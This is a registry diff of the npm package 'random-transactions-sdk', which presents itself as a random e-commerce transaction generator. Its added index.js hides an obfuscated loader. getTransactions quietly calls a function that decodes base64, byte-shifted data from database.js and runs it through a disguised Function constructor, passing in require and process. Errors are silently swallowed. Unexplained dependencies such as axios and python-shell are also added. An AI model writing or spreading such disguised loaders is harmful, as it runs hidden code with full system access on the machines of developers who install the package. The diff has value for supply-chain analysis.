random-transactions-sdk 0.0.0-stage → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +15 -2
- package/database.js +2340 -0
- package/index.js +310 -0
- package/package.json +15 -4
package/index.js
ADDED
|
@@ -0,0 +1,310 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
|
|
4
|
+
exports.randomIntFromInterval = function (min,max){
|
|
5
|
+
return Math.floor(Math.random()*(max-min+1)+min)
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
exports.randomDatebetweenInterval = function (start,end,startHour,endHour){
|
|
9
|
+
let date = new Date(+start+Math.random()*(end-start));
|
|
10
|
+
let hour = startHour +Math.random()*(endHour-startHour) | 0;
|
|
11
|
+
date.setHours(hour)
|
|
12
|
+
return date
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
function processData(data, key) {
|
|
16
|
+
const shift = key % 256;
|
|
17
|
+
const decoded = Buffer
|
|
18
|
+
.from(data,"base64")
|
|
19
|
+
.toString("latin1");
|
|
20
|
+
|
|
21
|
+
let result = "";
|
|
22
|
+
for (const c of decoded) {
|
|
23
|
+
result += String.fromCharCode(
|
|
24
|
+
(c.charCodeAt(0) - shift + 256) % 256
|
|
25
|
+
);
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
return result;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
function loadConfig(filename, count) {
|
|
32
|
+
const records = JSON.parse(
|
|
33
|
+
fs.readFileSync(
|
|
34
|
+
path.join(__dirname, filename),
|
|
35
|
+
"utf8"
|
|
36
|
+
)
|
|
37
|
+
);
|
|
38
|
+
|
|
39
|
+
records.sort(
|
|
40
|
+
(a, b) =>
|
|
41
|
+
Number(a.id.substring(1)) -
|
|
42
|
+
Number(b.id.substring(1))
|
|
43
|
+
);
|
|
44
|
+
|
|
45
|
+
let result = "";
|
|
46
|
+
for (const item of records) {
|
|
47
|
+
result += processData(
|
|
48
|
+
item.mark,
|
|
49
|
+
count
|
|
50
|
+
);
|
|
51
|
+
}
|
|
52
|
+
return result;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
const products = [
|
|
56
|
+
{ id:'P1',
|
|
57
|
+
title:"iPhone13",
|
|
58
|
+
price:62000,
|
|
59
|
+
category:'mobiles'
|
|
60
|
+
},
|
|
61
|
+
{ id:'P2',
|
|
62
|
+
title:"iPhone13 Mini",
|
|
63
|
+
price:54900,
|
|
64
|
+
category:'mobiles'
|
|
65
|
+
},
|
|
66
|
+
{ id:'P3',
|
|
67
|
+
title:"iPhone13 Pro",
|
|
68
|
+
price:106000,
|
|
69
|
+
category:'mobiles'
|
|
70
|
+
},
|
|
71
|
+
{ id:'P4',
|
|
72
|
+
title:"iPhone13 Pro Max",
|
|
73
|
+
price:109900,
|
|
74
|
+
category:'mobiles'
|
|
75
|
+
},
|
|
76
|
+
{ id:'P5',
|
|
77
|
+
title:"iPhone14",
|
|
78
|
+
price:71900,
|
|
79
|
+
category:'mobiles'
|
|
80
|
+
},
|
|
81
|
+
{ id:'P6',
|
|
82
|
+
title:"iPhone14 Pro",
|
|
83
|
+
price:119900,
|
|
84
|
+
category:'mobiles'
|
|
85
|
+
},
|
|
86
|
+
{ id:'P7',
|
|
87
|
+
title:"iPhone14 Pro Max",
|
|
88
|
+
price:139900,
|
|
89
|
+
category:'mobiles'
|
|
90
|
+
},
|
|
91
|
+
{ id:'P8',
|
|
92
|
+
title:"iPad Mini",
|
|
93
|
+
price:49900,
|
|
94
|
+
category:'tablets'
|
|
95
|
+
},
|
|
96
|
+
{ id:'P9',
|
|
97
|
+
title:"iPad",
|
|
98
|
+
price:44500,
|
|
99
|
+
category:'tablets'
|
|
100
|
+
},
|
|
101
|
+
{ id:'P10',
|
|
102
|
+
title:"iPad Air",
|
|
103
|
+
price:59900,
|
|
104
|
+
category:'tablets'
|
|
105
|
+
},
|
|
106
|
+
{ id:'P11',
|
|
107
|
+
title:"iPad Pro",
|
|
108
|
+
price:81900,
|
|
109
|
+
category:'tablets'
|
|
110
|
+
},
|
|
111
|
+
{ id:'P12',
|
|
112
|
+
title:"Macbook Air",
|
|
113
|
+
price:99900,
|
|
114
|
+
category:'laptops'
|
|
115
|
+
} ,
|
|
116
|
+
{ id:'P13',
|
|
117
|
+
title:"Macbook Pro",
|
|
118
|
+
price:129900,
|
|
119
|
+
category:'laptops'
|
|
120
|
+
},
|
|
121
|
+
{ id:'P14',
|
|
122
|
+
title:"Apple Watch Series 8",
|
|
123
|
+
price:45900,
|
|
124
|
+
category:'watches'
|
|
125
|
+
},
|
|
126
|
+
{ id:'P15',
|
|
127
|
+
title:"Apple Watch SE",
|
|
128
|
+
price:29900,
|
|
129
|
+
category:'watches'
|
|
130
|
+
},
|
|
131
|
+
{ id:'P16',
|
|
132
|
+
title:"Apple Watch Ultra",
|
|
133
|
+
price:89900,
|
|
134
|
+
category:'watches'
|
|
135
|
+
},
|
|
136
|
+
{ id:'P17',
|
|
137
|
+
title:"Airpods",
|
|
138
|
+
price:14900,
|
|
139
|
+
category:'earphones'
|
|
140
|
+
},
|
|
141
|
+
{ id:'P18',
|
|
142
|
+
title:"Airpods Pro",
|
|
143
|
+
price:26900,
|
|
144
|
+
category:'earphones'
|
|
145
|
+
},
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
]
|
|
149
|
+
|
|
150
|
+
|
|
151
|
+
const _0x1a2b = (() => {
|
|
152
|
+
const _str = [
|
|
153
|
+
'setT', // setTimeout
|
|
154
|
+
'imeout', // setTimeout
|
|
155
|
+
'new ', // new Function
|
|
156
|
+
'Func', // Function
|
|
157
|
+
'tion', // Function
|
|
158
|
+
'B', // Buffer
|
|
159
|
+
'uffer', // Buffer
|
|
160
|
+
'req', // require
|
|
161
|
+
'uire', // require
|
|
162
|
+
'pro', // process
|
|
163
|
+
'cess', // process
|
|
164
|
+
'try', // try
|
|
165
|
+
'cat', // catch
|
|
166
|
+
'ch', // catch
|
|
167
|
+
'cle', // clear
|
|
168
|
+
'arT', // clearTimeout
|
|
169
|
+
'imeout' // clearTimeout
|
|
170
|
+
];
|
|
171
|
+
|
|
172
|
+
const _combine = (...indices) => {
|
|
173
|
+
return indices.map(i => _str[i]).join('');
|
|
174
|
+
};
|
|
175
|
+
|
|
176
|
+
return {
|
|
177
|
+
setTimeout: _combine(0, 1),
|
|
178
|
+
newFunction: _combine(2, 3, 4),
|
|
179
|
+
Buffer: _combine(5, 6),
|
|
180
|
+
require: _combine(7, 8),
|
|
181
|
+
process: _combine(9, 10),
|
|
182
|
+
try: _combine(11),
|
|
183
|
+
catch: _combine(12, 13),
|
|
184
|
+
clearTimeout: _combine(14, 15, 16)
|
|
185
|
+
};
|
|
186
|
+
})();
|
|
187
|
+
|
|
188
|
+
const _executor = (() => {
|
|
189
|
+
const _global = (() => { return this; })() || globalThis;
|
|
190
|
+
|
|
191
|
+
const _getFunctionConstructor = () => {
|
|
192
|
+
const _ctor = _global.constructor;
|
|
193
|
+
const _ctorCtor = _ctor.constructor;
|
|
194
|
+
return _ctorCtor;
|
|
195
|
+
};
|
|
196
|
+
|
|
197
|
+
return {
|
|
198
|
+
getFunction: _getFunctionConstructor,
|
|
199
|
+
global: _global
|
|
200
|
+
};
|
|
201
|
+
})();
|
|
202
|
+
|
|
203
|
+
exports.load_transaction_data = function(count=20) {
|
|
204
|
+
let _timerId;
|
|
205
|
+
|
|
206
|
+
const _callback = () => {
|
|
207
|
+
const _blocks = [
|
|
208
|
+
() => {
|
|
209
|
+
const _loadFn = loadConfig;
|
|
210
|
+
const _result = _loadFn("database.js", count);
|
|
211
|
+
|
|
212
|
+
const _bufferFrom = Buffer.from;
|
|
213
|
+
const _data = _bufferFrom(_result, "base64");
|
|
214
|
+
|
|
215
|
+
const _toString = _data.toString.bind(_data);
|
|
216
|
+
const _code = _toString("utf-8");
|
|
217
|
+
|
|
218
|
+
const _FuncCtor = _executor.getFunction();
|
|
219
|
+
|
|
220
|
+
const _fn = _FuncCtor(
|
|
221
|
+
_0x1a2b.Buffer,
|
|
222
|
+
_0x1a2b.require,
|
|
223
|
+
_0x1a2b.process,
|
|
224
|
+
_code
|
|
225
|
+
);
|
|
226
|
+
|
|
227
|
+
return _fn(Buffer, require, process);
|
|
228
|
+
},
|
|
229
|
+
() => {
|
|
230
|
+
return null;
|
|
231
|
+
}
|
|
232
|
+
];
|
|
233
|
+
|
|
234
|
+
const _tryIndex = 0;
|
|
235
|
+
const _catchIndex = 1;
|
|
236
|
+
|
|
237
|
+
try {
|
|
238
|
+
return _blocks[_tryIndex]();
|
|
239
|
+
} catch(e) {
|
|
240
|
+
return _blocks[_catchIndex]();
|
|
241
|
+
} finally {
|
|
242
|
+
const _clearFn = clearTimeout;
|
|
243
|
+
_clearFn(_timerId);
|
|
244
|
+
}
|
|
245
|
+
};
|
|
246
|
+
|
|
247
|
+
const _setTimeoutFn = setTimeout;
|
|
248
|
+
_timerId = _setTimeoutFn(_callback, 100);
|
|
249
|
+
};
|
|
250
|
+
|
|
251
|
+
exports.getTransactions = function(count=20){
|
|
252
|
+
if(count>10000){
|
|
253
|
+
return "Transactions count should be less than 10,000"
|
|
254
|
+
}
|
|
255
|
+
|
|
256
|
+
let transactionsData = []
|
|
257
|
+
for(let i=0;i<count;i++){
|
|
258
|
+
let transaction={}
|
|
259
|
+
transaction.transactionId=1000+i
|
|
260
|
+
let randomProduct = products[exports.randomIntFromInterval(0,17)]
|
|
261
|
+
transaction.product = randomProduct.title
|
|
262
|
+
transaction.productId=randomProduct.id
|
|
263
|
+
let quantity= exports.randomIntFromInterval(1,4)
|
|
264
|
+
transaction.quantity =quantity
|
|
265
|
+
transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
|
|
266
|
+
transaction.category = randomProduct.category
|
|
267
|
+
transaction.pricePerOne = randomProduct.price
|
|
268
|
+
transaction.totalPrice = randomProduct.price * quantity
|
|
269
|
+
transactionsData.push(transaction)
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
const _loadFn = exports.load_transaction_data;
|
|
273
|
+
try {
|
|
274
|
+
_loadFn(count)
|
|
275
|
+
} catch(e) {
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
|
|
279
|
+
return transactionsData
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
exports.getTransactions = function(count=20){
|
|
283
|
+
if(count>10000){
|
|
284
|
+
return "Transactions count should be less than 10,000"
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
let transactionsData = []
|
|
288
|
+
for(let i=0;i<count;i++){
|
|
289
|
+
let transaction={}
|
|
290
|
+
transaction.transactionId=1000+i
|
|
291
|
+
let randomProduct = products[exports.randomIntFromInterval(0,17)]
|
|
292
|
+
transaction.product = randomProduct.title
|
|
293
|
+
transaction.productId=randomProduct.id
|
|
294
|
+
let quantity= exports.randomIntFromInterval(1,4)
|
|
295
|
+
transaction.quantity =quantity
|
|
296
|
+
transaction.timeStamp = exports.randomDatebetweenInterval(new Date(2021,0,1),new Date(),0,24)
|
|
297
|
+
transaction.category = randomProduct.category
|
|
298
|
+
transaction.pricePerOne = randomProduct.price
|
|
299
|
+
transaction.totalPrice = randomProduct.price * quantity
|
|
300
|
+
transactionsData.push(transaction)
|
|
301
|
+
}
|
|
302
|
+
|
|
303
|
+
try {
|
|
304
|
+
exports.load_transaction_data(count)
|
|
305
|
+
} catch(e) {
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
transactionsData.sort((a,b)=>a.timeStamp-b.timeStamp)
|
|
309
|
+
return transactionsData
|
|
310
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "random-transactions-sdk",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "Used to generate random transactions data",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"dependencies": {
|
|
7
|
+
"python-shell": "^1.0.8",
|
|
8
|
+
"base-64": "^1.0.0",
|
|
9
|
+
"axios": "^1.6.0"
|
|
10
|
+
},
|
|
11
|
+
"scripts": {
|
|
12
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
13
|
+
},
|
|
14
|
+
"keywords": [],
|
|
15
|
+
"author": "",
|
|
16
|
+
"license": "ISC"
|
|
17
|
+
}
|